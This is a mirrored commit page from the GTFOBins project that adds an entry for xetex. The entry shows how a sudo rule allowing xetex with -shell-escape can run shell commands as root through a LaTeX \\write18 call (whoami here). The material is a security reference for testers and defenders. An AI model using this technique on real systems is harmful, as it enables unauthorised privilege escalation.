1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-10 02:11:53 +01:00

Create xetex.md

xetex
This commit is contained in:
SynackCerv 2021-04-22 22:15:18 +02:00 committed by GitHub
parent 1e3f00a04f
commit 2972d25e23
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

5
_gtfobins/xetex.md Normal file

@ -0,0 +1,5 @@
functions:
sudo:
- code: |
echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex
sudo xetex -interaction=nonstopmode -shell-escape file.tex